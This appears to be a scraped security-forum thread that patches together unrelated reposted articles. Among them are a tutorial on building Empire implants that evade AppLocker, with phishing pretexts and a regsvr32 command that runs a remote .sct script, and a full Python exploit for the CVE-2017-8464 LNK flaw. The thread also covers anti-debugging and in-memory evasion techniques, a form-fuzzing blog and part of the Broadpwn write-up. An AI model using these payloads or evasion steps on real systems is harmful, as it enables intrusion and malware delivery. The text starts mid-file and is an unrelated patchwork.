cellspacing="0"> <tr class="class1"> <th id="th1" colspan="0" width=2000000></th> <th class="class2" width=0><div class="class2"></div></th> </table> </body> </html> Sursa: https://www.exploit-db.com/exploits/42354/
-
Empire without PowerShell.exe ON JULY 26, 2017 BY BNEG IN PENTESTING, RED TEAM Problem: The client has blocked Powershell.exe using AppLocker and I don’t have the dough for Cobalt Strike. I want to get an Empire payload on a workstation via a phishing campaign and I need payloads ready once I have a foothold. Nearly all of the launcher methods for Empire rely on the ability to use PowerShell.exe. Other methods like msbuild.exe requires dropping a file to disk, and I really liked the regsvr32 method of loading my .sct over the internet (it too drops a file to disk) and using a ducky. I also really appreciate the simplicity of VBA’s in documents or HTA’s. Problem is, Empire is a Powershell RAT so one way or another PowerShell has to run. One method that was suggested is calling an Empire.dll or Empire.exe over an internet accessible SMB share. I have yet to try that method but have been assured it works. My dislike for the SMB method is the outbound SMB connection, which will look pretty unusual to any defenders watching traffic. I’ll have to give it a go at some point, I’m sure. The three payloads I’m going cover: Build an empire.exe Build an empire.dll Build an empire.sct that doesn’t call powershell.exe The tools and resources we’re going to use are: SharpPick codebase by @sixdub DotNetToJS by James Foreshaw (@tiraniddo) AllTheThings by Casey Smith (@subtee) Visual Studio. Not strictly necessary, but it’s what I know and it’s free albiet a huge download. Presumably you could use csc.exe to build your project, but I haven’t tested it. I chose Visual Studio 2010 for PowerPick, though 2012 would probably work fine. That’s a lot of crap to download, I know. What’s nice about 2010/2012 is it comes with the older .NET libraries which are getting harder to find. I wouldn’t be able to do this without the above authors’ work, and I’m very grateful. What follows is simply putting together a few different pieces of great work to achieve a specific outcome that I was unable to find prior work for. *Note: In my research to do this, I came across two projects that are doing almost exactly the same thing, both of which utilize DotNetToJScript and neither of which worked for me. StarFighters (@Cn33liz). First, I’m pretty leery of running encoded binaries from the internet. This one contains an encoded powershell.exe, which receives and executes your launcher code. I tried it, and was able to get an Empire check-in, but not script execution. CACTUSTORCH (@vysecurity). I tried this as well, but it really wants to inject shellcode into a launched binary of your choosing, and I couldn’t figure out how to make my launcher into shellcode using SharpPick. It’s probably doable, I just don’t know how. The examples @vysecurity provide use a Cobalt Strike or a Meterpreter shellcode output. Build an Empire.exe I’ve commonly seen Cobalt Strike used with “updates.exe”, a stageless beacon. For Empire, you can do something similar with this method. Add this to an email pretext suggesting new anti-virus definitions need to be installed. Or run it via psexec or wmi, or as an embedded OLE object in Outlook (h/t @tyler_robinson). This is probably the simplest method of getting you an agent without calling Powershell.exe. To start, go get your copy of PowerPick via git, and open up the project in Visual Studio. First, you’ll want to obfuscate some of the project properties. Change the name of the program and assembly information. Get there by selecting from the menu “project -> SharpPick Properties”. Make sure to change the “Output Type” to “Windows Application” so it’ll run in the background after you double click or execute from the CLI. Click that “Assembly Information” button as well, and change those properties too. Now you’ll want to change the code in Program.cs to this (gist): Where the string “stager” contains only the base64 encoded Empire launcher information. This will get decoded and passed to RunPS() which sends the PowerShell command to System.Management.Automation, where the real PowerShell magic actually happens. This is tapping directly into the core of Windows. Now go to your menu and select “Build -> Build Solution” or hit “F6”. Your shiny new binary should be in “PowerTools\Empire_SCT\PowerPick\bin\x86\Debug”. ** You may get an error about ReflectivePick not building, that’s fine. You can suppress that error by going to “Build -> Configuration Manager” and deselecting “ReflectivePick” from the “Project Contexts”. We don’t need it. Test your binary by either double clicking the executable, or simply running it on the CLI. It should run in the background after you launch or execute it. Build an Empire.dll Maybe you need a DLL so you can use one of those sweet AppLocker bypasses Casey is always finding. A great example is rundll32.exe. In order to do this, we’re going to change our project a little bit, and add some entry points in our code. The code below comes directly from @subtee’s “AllTheThings”. Just like the EXE, open up the project and change those indicators. The other important thing you need to change in the project properties is the “Output Type”, which needs to be “Class Library”. You should probably set your “Startup Object” as well, to whatever it defaults to in the drop down (based on you namespace and class names). Next, install the nuget package manager for Visual Studio. Once that’s installed you’ll need to get the dependency “UnmanagedExports” by running: PM> install-package UnmanagedExports Next up, open that “Program.cs” and change your code to look like this in addition to a few “using” statements not shown but included in the gist: Again, go to “Build -> Build Solution” or hit “F6” and you should have a LegitLibrary.dll or whatever in your build directory (same as above). Test your new DLL by running: rundll32.exe LegitLibrary.dll,EntryPoint That should return a new agent to your Empire C2. If you look in Process Explorer, you’ll see rundll32 as a new running process. Build an Empire.sct This is probably the most complicated as it involves a number of steps. The end result is essentially this: stuff PowerShell into a .NET app, convert that .NET app into a base64 encoded binary in a javascript file, which is then stuffed into a .SCT. You can call that sct with regsvr32 which executes the JavaScript within the .SCT that lives on your web/file server. What we’re aiming for here is the Empire.exe payload, but converted into base64. The project options should be the same as you made for Empire.exe, in other words a “Windows Application”. The code is a bit different though as the JavaScript needs some public methods to reach into and execute our code (gist). Build that and go find your binary, it should be an exe. Next up, go download DotNetToJScript and open that project in Visual Studio, change it’s .NET target to “.NET version 3.5” (or 2.0) in project options and compile (build) it. Once it’s built, find the DotNetToJScript.exe and it’s companion NDesk.Options.dll and place those in the same place as your LegitScript.exe binary. run the following (-c is the entry point, change to your chosen namespace.class): .\DotNetToJScript.exe -c=LegitScript.Program -o=legitscript.js legitscript.exe That should output a legitscript.js. DotNetToJScript outputs in a couple of other languages including VBA and VBScript for embedding in Office documents or what ever else you might need. You can test it before proceeding to the next steps by running: wscript.exe legitscript.js That should launch a new agent on your workstation in the background. It’ll be running as “wscript” in your process monitor. If you’ve confirmed that as working, it’s time to wrap it into a .sct so we can call it with regsvr32.exe. Place the entire contents of legitscript.js into the CDATA tag (picture below). You can get the XML format in Empire by using: (Empire: usestager windows/launcher_sct The settings don’t matter, but you can set them to your listener and make sure “OutFile” is set to null or “” no value as this will print the content to screen. If you’re getting the contents from Empire, strip everything out of the CDATA tag, and replace it with your legitscript.js. Save that as 2legit.sct and test with: regsvr32 /s /n /u /i:2legit.sct scrobj.dll Which, again, should return a new agent. You can save that .sct to your web or file server and call it remotely replacing the “/i:” with “/i:https://example.com/2legit.sct”. This is an AppLocker bypass as regsvr32.exe is a Microsoft signed binary. Conclusion PowerShell is awesome, and attackers have been using it for years now. The best advice we’re giving to clients is to keep their environments locked down with PowerShell Constrained Mode, disable PowerShell v2, and upgrade PowerShell across the enterprise to the latest which supports Script Block Logging. It’s pretty difficult and almost unrealistic to keep PowerShell from executing in your environment, so at least know when and how it’s being used. Thanks to @subtee for engaging with me on some ideas, @vysecurity for answering questions, and all the giants and project authors who have made this even possible. Sursa: https://bneg.io/2017/07/26/empire-without-powershell-exe/
-
Testing Multi-Step Forms By Michael Skiba, 26 July 2017 In this two-part blog, we will be discussing multi-step forms. In part 1, we will see how multi-step forms affect scoping a test; while in part two we will go through techniques involved in testing multi-step forms. Before we delve into the details, let’s cover some basics. What Is a Form? A form is used on webpages to let users submit data to the application and interact with it. The reasons for them are manifold and their use are essential to an interactive internet: Be it ordering a pizza online, writing a forum post or just checking the weather in a certain zip code , each requires user input, that is usually collected through forms. Below is an example for a simple contact form that lets the user submit a contact request. All the necessary data is collected in a form on page 1 (S1) and is then sent, processed and output in a single request (S2). Figure 1: A single page contact form with 13 input fields What is a multi-step form? A multi-step form is spread across several pages and requires the user to follow a specific route comprised of several steps/forms (e.g. by clicking the next button several times), before the actual processing of the data happens. This can often be seen on insurance or banking sites when applying for an insurance policy or a credit, e-commerce/bidding websites, quiz applications, etc. These forms usually require a lot of information (personal data, financial data, property details …). Below is an example of a simple multi-step form where input data is collected on page 1 (S1) and page 2 (S2) and sent to the server respectively. Upon requesting page 3 the server processes the data that has previously been collected and outputs the result. This decoupling of input and output makes testing and especially input ‘fuzzing’ (we’ll learn about that in a few seconds) a tad bit more complex. Figure 2: A multi-step form with two input pages (8 + 5 = 13 input fields) and one result page Part 1 - Scoping pitfalls When scoping (i.e. estimating the necessary time for a test) applications, multi-step forms can constitute a hike in the amount of effort required for the overall project. But why is that? The reason for this lies in the nested nature of these forms and the different combinations of input and output that unfold a whole lot of possibilities. But first things first: What is “fuzzing”? (a.k.a. “Throwing stuff at a wall and see what sticks”) An integral part of every penetration test (“pentest”) is input and output validation. This is usually done both manually and automatically and ensures that potentially malicious data is escaped properly, before being processed/stored/displayed. Typical examples for this type of vulnerability include Cross-Site Scripting (XSS), SQL Injections, local and remote file inclusion, and remote code execution. During an average test, a single input field is tested on average with around 1000 different payload strings. Each submitted payload has to be checked to see if it deviates from the normal behaviour of the application, e.g. is the input ‘reflected’ (in layman’s terms: shown on the page somewhere) on another page? If so, is it safely escaped or does it break out of the page syntax and enable the execution of script code? Another metric could be the time needed for the response to return, to see if the payload might have triggered something in the background, even if the payload string is not reflected on the page. Naturally these checks become more complicated if the input and output processing is spread across several pages. Example Scoping Calculation (simplified) Let’s assume we are scoping the effort required to test the contact form shown above (fig. 1.) It is a single form with 13 input fields that are entered on the first page and are immediately processed when the ‘Send message!’ button is clicked. For the sake of simplicity, let’s assume there is no session to keep track of, or other complex back-end functions. This equates to a rather easy calculation of 13*1000 = 13, 000 requests. With a multi-step form this becomes slightly more difficult, because: The input can be reflected at various places during the process; A user could move back and forth between the pages (a page might restore previously set values); and, The server needs to keep track of a session state (i.e. a cookie). Therefore, instead of having just one workflow there are several different ‘runs’ (example, fig 2). A common mistake that can be seen in the wild is when input validation tests carried out automatically using a tool (e.g. burp) are performed on individual steps only, without going all the way from the beginning to the end of a multi-step form. This is usually a limitation of the testing approach, rather than the tool itself. With such an approach, one only sees a small piece of the picture and might miss critical information. Naïve approach Consider testing the multi-step process described in fig 2. This form is divided into three pages: ‘Personal Details’, ‘Payment Details’ and ‘Summary’. A naïve tester assessing individual steps only, will in a first step test the 8 input fields with 1000 different payloads per input field and will always get the ‘Payment Details’ page as response. This page however does not process or reflect any input from the form on page 1, instead it only contains another form with five input fields. This naïve approach will therefore not identify a XSS vulnerability that might be present, for example in the address field. In a second step, the tester might want to test the input fields of the second page. However, the tester could face two show-stoppers here. Firstly, the server could invalidate the session if it’s keeping track of the previous entries. This commonly happens when one tries to access multi-step forms out of the intended order, e.g. directly accessing page 2, without going through page 1 first. Secondly, the forms on page 1 and page 2 might be processed differently. In our example, many input fields of page 1 are reflected on the summary page, whereas input fields of page 2 are heavily masked. The naïve approach, where page 1 and page 2 are tested individually, would roughly take 8*1000 (page 1) + 5*1000 (page 2) = 13.000 requests. Thorough approach We’ve seen a naïve approach, but how would a thorough, or ‘proper’ approach work? One would always start from the beginning of the multi-step form, ‘go to’ the place where the fuzzing is supposed to happen and then ‘walk’ through to the end of the multi-step form. It is important to stress that the end is not necessarily the last page of the workflow, it is rather the step where one wants to check for a potential reflection. Where could this be? It is not only the obvious summary page that displays the information entered in page 1 and page 2. It can also be that the server tries to do us a favour and automatically fills in previously entered information when going back and forth between the pages. So let’s look at the fuzzing workflows for our example from fig.2, an easy multi-step form with 8 input fields on the first and another 5 input fields on the second page. At the end of the multi-step form is single summary page: 1) Go to page 1; perform input validation on the fields of page 1. Proceed to page 2. Proceed to the end. 2) Go to page 1; perform input validation on the fields of page 1. Proceed to page 2. Proceed to the end. From here, go back to page 1. 3) Go to page 1; perform input validation on the fields of page 1. Proceed to page 2. Proceed to the end. From here, go back to page 2. 4) Go to page 1; proceed to page 2. Perform input validation on the fields of page 2. Proceed to the end. 5) Go to page 1; proceed to page 2. Perform input validation on the fields of page 2. Proceed to the end. From here, go back to page 1. 6) Go to page 1; proceed to page 2. Perform input validation on the fields of page 2. Proceed to the end. From here, go back to page 2. 7) Go to page 1; perform input validation on the fields of page 1. Proceed to page 2. From here go back to page 1. As we can see, properly fuzzing all the logical flows through the multi-step form accumulates quite a few requests. In our example, it takes 167.000 requests, which is a factor of almost 13 times versus the naïve approach that can be utilised for a single-step contact form. More importantly, this figure grows exponentially with increasing number of steps. Conclusions So, will a multi-step form always increase the effort required? Not necessarily. It pretty much depends on the individual process and how and when data is processed, as well as which logical flows are permitted. A good understanding of the possible and permitted workflows on both sides is essential to a satisfying scoping. For a tester it is important to know about these flows and how to properly utilise their tools to align to these workflows. But that is a tale for another blog post … Contact and Follow-Up Michael works in our Assurance team, from our Essen office. See the contact page for ways to get in touch. Sursa: https://www.contextis.com/resources/blog/testing-multi-step-forms/
-
AntiDBG AntiDBG is a collection of Windows Anti Debugging techniques. The techniques are categorized by the methods they use to find a debugger. Memory CPU Timing Forced Exceptions AntiDBG API AntiDBG is written in C and requires only a single source file and header. Nearly all of these methods are designed to take no input and produce no output. They aim to be self-contained debugger checks that will automatically detach debuggers. Obfuscation AntiDBG is designed to be readable so the user can learn about the techniques. If you choose to use these methods in your own project, you will benefit greatly by adding obfuscation on top of these methods. Obfuscation is not the aim of this project. The Gauntlet The Gauntlet is a simple application that runs each AntiDBG check one after the other. It's purpose is to test your ability to bypass the anti-debugging methods and make it to the end of The Gauntlet while running under a debugger. Want to make The Gauntlet harder? Undefine SHOW_DEBUG_MESSAGES (defined by default in antidbg.c). This option produces a message box when you get caught with information about the check that got you. Troubleshooting Help! This thing won't compile! AntiDBG was developed using Microsoft Visual Studio 2015 building as Release x86. If you are getting compiler errors, ensure you are building for x86. Many of these methods will work on x64 however they may require modification where inline assembly is used. Help! X method doesn't seem to work. Many anti-debugging checks focus on odd edge cases or very specific structures which may or may not be set on certain versions of Windows, or they may act differently under emulation. Some checks require the the debugger to step over the check, while others do not. All methods in AntiDBG have been tested under the conditions which they are designed work on Windows 10 64-bit. Most (if not all) should work on all over versions of Windows as well. AntiDBG shies away from checks which can only be used against specific debuggers or versions of Windows. Can I get more information? Sure. Check out a YouTube series that covers all of these methods. The first video can be located here: https://www.youtube.com/watch?v=UenXxfo8d5w Sursa: https://github.com/cetfor/AntiDBG
-
- 1
-
-
Red Teams Advance In-Memory Evasion Tradecraft CHRIS GERRITZ THREAT HUNTING, MALWARE The interaction between red and blue teams during and following exercises are the best opportunities for lessons learned and progressing our respective crafts. When the red team gets caught or can't get in, that's feedback forcing them to improve their trade craft. When the blue team misses something, the feedback from red after they present their plunder (i.e. control of your domain or access to critical data) forces them to adapt to more advanced techniques. This process is only possible in the red/blue relationship, as real adversaries typically don't give feedback. A recent case of this cat and mouse game involves the modern trend of hiding in the volatile memory (sometimes called a "File-less Attack") which has been very successful in eluding anti-virus and hunters alike. Infocyte provides our customers with unique, advanced techniques for scalable volatile memory analysis, which makes the process for finding in-memory threats much easier and exponentially more effective at scale. But as with anything in security, human ingenuity will find a way. Below are three such techniques that red teams and real-world attackers recently released to hide better in memory. In this two part post, we'll look at three of the latest techniques that have surfaced to thwart advanced memory scanning techniques, such as those used by Infocyte. In a follow-up post we'll talk about advances made by Infocyte to make scaled memory analysis more robust and difficult to counter. 1. Reduced Memory Protections Of the stealthy (non OS registered) process injection techniques available to attackers: Reflective DLL Injection Process Hallowing Memory Module APC Injection Almost all implementations allocate liberal permissions (RWX) on their memory pages. As a result, Infocyte and some in the DFIR community have utilized a very reliable technique of scanning process memory pages for modules loaded with improper memory protections. This technique has served us well for YEARS with few modifications, as memory analysis (i.e. using Volatility or Rekall) has historically not been scalable enough to find a hidden beachhead. While some threat actors at the higher tiers caught on, we still see what many call "advanced" actors using this lazy method to allocate memory (even Equation Group's DoublePulsar and Russian rootkits like Uroburos make this mistake). We're calling it though; our observations mark 2017 as an official shift of attacker and red teamer trends to reduce permissions after allocation to make their malware "non-writable". This isn't a death blow to memory scanning by any means but it does increase the noise that defenders and memory analysis solutions like Infocyte have to work through as we expand the search and run into legitimate in-memory compiled processes like .NET and Java applications. Impact to Defenders: Medium-Low. Memory analysts and hunters will have to expand if they were using such assumptions to achieve scale. Expanding the search is trivial but managing falses takes effort. Infocyte is already using this expanded search but scoring had to be updated to negate earlier assumptions of attacker trade-craft. 2. Maleable PE Earlier this year, the red teaming framework, Cobalt Strike, written and maintained by Raphael Mudge, received a few updates (Blog: "Cat, Meet Mouse") to help hide their implant when injected into a common windows process like explorer or lsass. The new feature, called Maleable PE, enables red teams to arbitrarily manipulate the Portable Executable (PE) header of its’ implant (called “Beacon”) to avoid the implant from being categorized as an injected module. Two primary techniques in particular forced us to respond: Prepended NOPs. By prepending No Operation (NOP) assembly instructions to the beginning of the PE file, Beacon now trips up older memory analysis frameworks that use static offsets for PE signatures. You see, normally, malware is injected into byte 0 of its newly allocated memory pages. By placing garbage in front of the PE header, any technique that attempts to pattern match the header using static offsets will fail. String Replace. Another technique is used to replace certain strings that you typically find in PE headers (like "This program cannot be run in DOS mode") or zeroing out parts of the MZ and PE markers after they are no longer needed. This technique is more experimental as you can easily kill your PE's chance of ever executing if done incorrectly but like the NOP technique above, it can really trip up anyone relying on static PE signatures to identify process injection. Impact to Defenders: PITA The latest version (2.9) of Infocyte HUNT uses a new model we've been working on for confirming memory injected modules without relying on static offsets or PE signatures. This video demonstrates how to influence (some) Beacon memory indicators with a Malleable C2 profile. https://www.cobaltstrike.com/help-malleable-c2#memory 3. Gargoyle Written as a proof of concept by Josh Lospinoso, Gargoyle is a technique for hiding all of a program’s executable code in non-executable memory when it is inactive. At a pre-defined interval, gargoyle will wake up and temporarily mark itself executable to do some work. Basically, it takes advantage of the fact that live memory analysis has a cost and the once valid assumption was that a program must reside in executable memory meant an analyst could safely limit analysis there. Since executable code pages represent less than 10% of total memory on most systems, limiting analysis there offers orders of magnitude better performance to a full memory scan. Check out the POC write-up here: https://jlospinoso.github.io/security/assembly/c/cpp/developing/software/2017/03/04/gargoyle-memory-analysis-evasion.html The big problems here are the code is read-only during most of its life and the APC call used to wake Gargoyle is not something that can be trivially enumerated. This represents a challenge to memory analysis at scale. Impact to Defenders: Actually it's not THAT bad... the good news is that this is only a proof of concept and no use of the technique has been seen in the wild. The bad news, for the paranoid, is it still hasn't been seen in the wild. There is some more good news though. Our research has shown the technique has some stability issues and will require a persistence mechanism (such as in the registry) to keep it going. Additionally, behavior-based advanced endpoint protection products should be able to make a signature for the unique ROP chain it’s forced to do to wake itself up. Sursa: https://www.infocyte.com/blog/2017/7/10/red-teams-advance-in-memory-evasion-tradecraft
-
#!/usr/bin/python # -*- coding: utf-8 -*- # Title : CVE-2017-8464 | LNK Remote Code Execution Vulnerability # CVE : 2017-8464 # Authors : [ykoster, nixawk] # Notice : Only for educational purposes. # Support : python2 import struct def generate_SHELL_LINK_HEADER(): # _________________________________________________________________ # | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | # |0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1| # ----------------------------------------------------------------- # | HeaderSize | # ----------------------------------------------------------------- # | LinkCLSID (16 bytes) | # ----------------------------------------------------------------- # | ... | # ----------------------------------------------------------------- # | ... | # ----------------------------------------------------------------- # | LinkFlags | # ----------------------------------------------------------------- # | FileAttributes | # ----------------------------------------------------------------- # | CreationTime | # ----------------------------------------------------------------- # | ... | # ----------------------------------------------------------------- # | AccessTime | # ----------------------------------------------------------------- # | ... | # ----------------------------------------------------------------- # | WriteTime | # ----------------------------------------------------------------- # | ... | # ----------------------------------------------------------------- # | FileSize | # ----------------------------------------------------------------- # | IconIndex | # ----------------------------------------------------------------- # | ShowCommand | # ----------------------------------------------------------------- # | HotKey | Reserved1 | # ----------------------------------------------------------------- # | Reserved2 | # ----------------------------------------------------------------- # | Reserved3 | # ----------------------------------------------------------------- shell_link_header = [ b'\x4c\x00\x00\x00', # "HeaderSize" : (4 bytes) b'\x01\x14\x02\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46', # "LinkCLSID" : (16 bytes) HKEY_CLASSES_ROOT\CLSID\{00021401-0000-0000-C000-000000000046} b'\x81\x00\x00\x00', # "LinkFlags" : (4 bytes) 0x81 = 0b10000001 = HasLinkTargetIDList + IsUnicode b'\x00\x00\x00\x00', # "FileAttributes" : (4 bytes) b'\x00\x00\x00\x00\x00\x00\x00\x00', # "CreationTime" : (8 bytes) b'\x00\x00\x00\x00\x00\x00\x00\x00', # "AccessTime" : (8 bytes) b'\x00\x00\x00\x00\x00\x00\x00\x00', # "WriteTime" : (8 bytes) b'\x00\x00\x00\x00', # "FileSize" : (4 bytes) b'\x00\x00\x00\x00', # "IconIndex" : (4 bytes) b'\x00\x00\x00\x00', # "ShowCommand" : (4 bytes) b'\x00\x00', # "HotKey" : (2 bytes) b'\x00\x00', # "Reserved1" : (2 bytes) b'\x00\x00\x00\x00', # "Reserved2" : (4 bytes) b'\x00\x00\x00\x00', # "Reserved3" : (4 bytes) ] return b"".join(shell_link_header) def generate_LINKTARGET_IDLIST(path, name): # _________________________________________________________________ # | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | # |0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1| # ----------------------------------------------------------------- # | IDListSize | IDList(variable) | # ----------------------------------------------------------------- # | ... | # ----------------------------------------------------------------- # IDList = ItemID + ItemID + ... + TerminalID # ItemID = ItemIDSize + Data def generate_ItemID(Data): itemid = [ struct.pack('H', len(Data) + 2), # ItemIDSize + len(Data) Data ] # ItemIDSize = struct.pack('H', len(Data) + 2) # ItemIDSize + len(Data) # return ItemIDSize + Data return b"".join(itemid) def generate_cpl_applet(path, name=name): name += b'\x00' path += b'\x00' bindata = [ b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6a\x00\x00\x00\x00\x00\x00', struct.pack('H', len(path)), struct.pack('H', len(name)), path.encode('utf-16')[2:], name.encode('utf-16')[2:], b"\x00\x00" # comment ] return b"".join(bindata) idlist = [ # ItemIDList generate_ItemID('\x1f\x50\xe0\x4f\xd0\x20\xea\x3a\x69\x10\xa2\xd8\x08\x00\x2b\x30\x30\x9d'), generate_ItemID('\x2e\x80\x20\x20\xec\x21\xea\x3a\x69\x10\xa2\xdd\x08\x00\x2b\x30\x30\x9d'), generate_ItemID(generate_cpl_applet(path)), b'\x00\x00', # TerminalID ] idlist = b"".join(idlist) idlistsize = struct.pack('H', len(idlist)) linktarget_idlist = [ idlistsize, idlist, ] return b"".join(linktarget_idlist) def generate_EXTRA_DATA(): # ExtraData refers to a set of structures that convey additional information about a link target. These # optional structures can be present in an extra data section that is appended to the basic Shell Link # Binary File Format. # EXTRA_DATA = *EXTRA_DATA_BLOCK TERMINAL_BLOCK # EXTRA_DATA_BLOCK = CONSOLE_PROPS / CONSOLE_FE_PROPS / DARWIN_PROPS / # ENVIRONMENT_PROPS / ICON_ENVIRONMENT_PROPS / # KNOWN_FOLDER_PROPS / PROPERTY_STORE_PROPS / # SHIM_PROPS / SPECIAL_FOLDER_PROPS / # TRACKER_PROPS / VISTA_AND_ABOVE_IDLIST_PROPS # SpecialFolderDataBlock # _________________________________________________________________ # | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | # |0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1| # ----------------------------------------------------------------- # | BlockSize | # ----------------------------------------------------------------- # | BlockSignatire | # ----------------------------------------------------------------- # | SpecialFolderID | # ----------------------------------------------------------------- # | Offset | # ----------------------------------------------------------------- extra_data = [ b'\x10\x00\x00\x00', b'\x05\x00\x00\xA0', b'\x03\x00\x00\x00', b'\x28\x00\x00\x00', b'\x00\x00\x00\x00' # TERMINAL_BLOCK ] return b"".join(extra_data) def ms_shllink(path, name=b"Microsoft"): '''build Shell Link (.LNK) Binary File Format''' lnk_format = [ # Structures # SHELL_LINK = SHELL_LINK_HEADER [LINKTARGET_IDLIST] [LINKINFO] # [STRING_DATA] *EXTRA_DATA # SHELL_LINK_HEADER: # A ShelllinkHeader structure which contains identification information, timestamps, and # flags that specify the presence of optional structures. generate_SHELL_LINK_HEADER(), # LINKTARGET_IDLIST: # An optional LinkTargetIDList structure, which specifies the target of the link. The # presence of this structure is specified by the HasLinkTargetIDList bit in the ShellLinkHeader. # # generate_LINKTARGET_IDLIST(path, name), # LINKINFO: # An optional LinkInfo structure, which specifies information necessary to resolve the link target. # The presence of this structure is specified by the HasLinkInfo bit in the ShellLinkHeader. # STRING_DATA: # Zero or more optional StringData structures, which are used to convey user interface and path # identification information. The presence of these structures is specified by bits in the ShellLinkHeader. # STRING_DATA = [NAME_STRING] [RELATIVE_PATH] [WORKING_DIR] # [COMMAND_LINE_ARGUMENTS] [ICON_LOCATION] # EXTRA_DATA: # Zero or more ExtraData structures generate_EXTRA_DATA() ] return b"".join(lnk_format) if __name__ == '__main__': import sys if len(sys.argv) != 3: print("[*] Name : CVE-2017-8464 | LNK Remote Code Execution Vulnerability") print("[*] Usage: %s </path/to/test.lnk> </path/to/test.dll>" % sys.argv[0]) sys.exit(0) lnkpath = sys.argv[1] dllpath = sys.argv[2] bindata = ms_shllink(path=dllpath) with open(lnkpath, 'w') as lnkf: lnkf.write(bindata) ## References # 1. https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464 # 2. https://msdn.microsoft.com/en-us/library/dd871305.aspx # 3. https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-SHLLINK/[MS-SHLLINK]-160714.pdf # 4. https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf # 5. https://support.microsoft.com/en-us/help/149648/description-of-control-panel--cpl-files # 6. https://twitter.com/mkolsek/status/877499744704237568 # 7. https://community.saas.hpe.com/t5/Security-Research/Full-details-on-CVE-2015-0096-and-the-failed-MS10-046-Stuxnet/ba-p/251257#.WXi4uNPys6g # 8. https://github.com/rapid7/metasploit-framework/pull/8767 Sursa: https://github.com/nixawk/labs/tree/master/CVE-2017-8464
-
@co4ie Nu eu, ala care nu a facut update la tema l-a stricat. Verific zilnic sa vad cand apare versiunea OK. @BogdanNBV Stiu, asa e si la mine, e tot de la tema.
-
Cracking the Lens: Targeting HTTP's Hidden Attack Surface James Kettle - james.kettle@portswigger.net - @albinowax Modern websites are browsed through a lens of transparent systems built to enhance performance, extract analytics and supply numerous additional services. This almost invisible attack surface has been largely overlooked for years. In this paper, I'll show how to use malformed requests and esoteric headers to coax these systems into revealing themselves and opening gateways into our victim's networks. I'll share how by combining these techniques with a little Bash I was able to thoroughly perforate DoD networks, trivially earn over $30k in vulnerability bounties, and accidentally exploit my own ISP. While deconstructing the damage, I'll also showcase several hidden systems it unveiled, including not only covert request interception by the UK's largest ISP, but a substantially more suspicious Colombian ISP, a confused Tor backend, and a system that enabled reflected XSS to be escalated into SSRF. You'll also learn strategies to unblinker blind SSRF using exploit chains and caching mechanisms. Finally, to further drag these systems out into the light, I'll release Collaborator Everywhere - an open source Burp Suite extension which augments your web traffic with a selection of the best techniques to harvest leads from cooperative websites. Outline Introduction Methodology Listening Research Pipeline Scaling Up Misrouting Requests Invalid Host Investigating Intent - BT Investigating Intent - Metrotel Input Permutation Host Override Ambiguous Requests Breaking Expectations Tunnels Targeting Auxiliary Systems Gathering Information Remote Client Exploits Preemptive Caching Conclusion Download: https://www.blackhat.com/docs/us-17/wednesday/us-17-Kettle-Cracking-The-Lens-Exploiting-HTTPs-Hidden-Attack-Surface-wp.pdf
-
Wednesday, July 26, 2017 Web Cache Deception Attack: White Paper The Web Cache Deception attack vector was first published in this blog on February 2017. Since then, I presented it on Black Hat USA 2017 and BSides Tel-Aviv 2017. Now, I'm proud to release a white paper explaining all about this attack, including: - Attack methodology - Implications - Conditions - Known web frameworks and caching mechanisms that meet the attack conditions - Mitigations Web Cache Deception Attack White Paper, July 2017 In addition, you can find the presentation used in the Black Hat USA 2017 conference. Huge thanks to all those who assisted along the way: Sagi Cohen, Bill Ben Haim, Sophie Lewin, Or Kliger, Gil Biton, Yakir Mordehay, Hagar Livne Would love to receive your feedback here and on Twitter (@omer_gil). Enjoy! Posted by Omer Gil at 1:19:00 PM Sursa: https://omergil.blogspot.ro/2017/07/web-cache-deception-attack-white-paper.html
-
- 1
-
-
Posted by Exodus Intel VRT Posted on July 26, 2017 Posted under exploitation, Vulnerabilities Comments Leave a Comment Broadpwn: Remotely Compromising Android and iOS via a Bug in Broadcom’s Wi-Fi Chipsets Author: Nitay Artenstein Introduction Fully remote exploits that allow for compromise of a target without any user interaction have become something of a myth in recent years. While some are occasionally still found against insecure and unpatched targets such as routers, various IoT devices or old versions of Windows, practically no remotely exploitable bugs that reliably bypass DEP and ASLR have been found on Android and iOS. In order to compromise these devices, attackers normally resort to browser bugs. The downside of this approach, from an attacker’s perspective, is that successful exploitation requires the victim to either click on an untrusted link or connect to an attacker’s network and actively browse to a non-HTTPS site. Paranoid users will be wary against doing either of these things. It is naive to assume that a well-funded attacker will accept these limitations. As modern operating systems become hardened, attackers are hard at work looking for new, powerful and inventive attack vectors. However, remote exploits are not a simple matter. Local attacks benefit from an extensive interaction with the targeted platform using interfaces such as syscalls or JavaScript, which allows the attacker to make assumptions about the target’s address space and memory state. Remote attackers, on the other hand, have a much more limited interaction with the target. In order for a remote attack to be successful, the bug on which it is based needs to allow the attacker to make as few assumptions as possible about the target’s state. This research is an attempt to demonstrate what such an attack, and such a bug, will look like. Broadpwn is a fully remote attack against Broadcom’s BCM43xx family of WiFi chipsets, which allows for code execution on the main application processor in both Android and iOS. It is based on an unusually powerful 0-day that allowed us to leverage it into a reliable, fully remote exploit. In this post, we will describe our thought process in choosing an attack surface suitable for developing a fully remote exploit, explain how we honed in on particular code regions in order to look for a bug that can be triggered without user interaction, and walk through the stages of developing this bug into a reliable, fully remote exploit. We will conclude with a bonus. During the early 2000s, self-propagating malware – or “worms” – were common. But the advent of DEP and ASLR largely killed off remote exploitation, and Conficker (2009) will be remembered as the last self-propagating network worm. We will revive this tradition by turning Broadpwn into the first WiFi worm for mobile devices, and the first public network worm in eight years. THE ATTACK SURFACE Two words make up an attacker’s worst nightmare when considering remote exploitation: DEP and ASLR. In order to leverage a bug into a full code execution primitive, some knowledge of the address space is needed. But with ASLR enabled, such knowledge is considerably 